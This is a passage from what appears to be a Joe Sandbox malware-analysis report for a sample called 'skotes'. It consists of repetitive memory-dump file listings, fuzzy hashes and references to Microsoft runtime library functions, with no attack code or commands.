Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 3aeec5179d5318efb7b5a5b501811b4783c3def6625bcff0f1f7fca915d20a32
Instruction ID: fd2a40c083100d0371ff2655769959d2a09f23d8ecb5641f652d89e10bbb0735
Opcode Fuzzy Hash: 3aeec5179d5318efb7b5a5b501811b4783c3def6625bcff0f1f7fca915d20a32
Instruction Fuzzy Hash: 10817C34908249ABDF169F58CA91BBE7BF2EF56304F0440E8FC416B252C7368E55DB61

Function 00BA2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00BA2982

Part of subcall function 00BA24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00BA29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00BA29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00BA29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00BA2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00BA2AD8

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 64e65751d199cbc9d67e6f0aefbd624fa0321b592a53deab41801e82491f0db1
Instruction ID: b5c030608af45c95924454d8b11f24bc427eddb46d812b5ef435413e3bb6f37c
Opcode Fuzzy Hash: 64e65751d199cbc9d67e6f0aefbd624fa0321b592a53deab41801e82491f0db1
Instruction Fuzzy Hash: 9F716930908249AFDF15DFA8C991ABEBBF6EF5A304F0440D9EC416B252C7329D15DB61

Function 00B92832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00B92876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00B928DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00B92913

Part of subcall function 00B907ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00B9080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00B92993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00B929DB

Part of subcall function 00B907C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00B907DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00B929EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00B92A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00B92A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00B92A7E

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 11f5657d158017e03c37dc43706ad0c0683506360f5c5940ab03263680b8178d
Instruction ID: 82e8ee0b53b426f456a5597fb05e734f245379ff45939358b3c230bbfe6ea0b1
Opcode Fuzzy Hash: 11f5657d158017e03c37dc43706ad0c0683506360f5c5940ab03263680b8178d
Instruction Fuzzy Hash: 07818F32E0161AAFCF28DFA8D8A197DB7F1FB58310B2440BED445A7251EB346D45CB90

Function 00B969DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00B96A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00B96A51
List.LIBCONCRT ref: 00B96A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00B96A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00B96AB9
List.LIBCONCRT ref: 00B96AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00B96B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00B96B20
List.LIBCONCRT ref: 00B96B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00B96B68

Part of subcall function 00B95EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00B95EF7
Part of subcall function 00B95EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00B95F09

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 60a2404e818aa28988c4796874e69633e28fdf6500d4a1b0bded4d37bd052aba
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 5B513E71A00209ABDF18DF64C595FEDB3E8FF08344F1545B9E915AB282DB30AE45CB90

Function 00BA52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00BA53A0
type_info::operator==.LIBVCRUNTIME ref: 00BA53C7
___TypeMatch.LIBVCRUNTIME ref: 00BA54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00BA55AE
CallUnexpected.LIBVCRUNTIME ref: 00BA5650

Strings

csm, xrefs: 00BA53FE
csm, xrefs: 00BA52E0
csm, xrefs: 00BA534D

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: f9613eec5cd1a147246507692e2badcba5c12646f5bdbe961af5c4a0d59cc39f
Instruction ID: a149ac5e6f9d20cad3f45cfdc433081e3555f08b76e2d26a7e3a15ac5970e879
Opcode Fuzzy Hash: f9613eec5cd1a147246507692e2badcba5c12646f5bdbe961af5c4a0d59cc39f
Instruction Fuzzy Hash: C7C16871C08609EFCF25DF94C880AAEBBF9FF66311B14419AF8056B212D771DA51CB91

Function 00B97364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00B973B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00B973F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00B9740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00B97419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B97440

Strings

count, xrefs: 00B9737E
ppVirtualProcessorRoots, xrefs: 00B97438

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
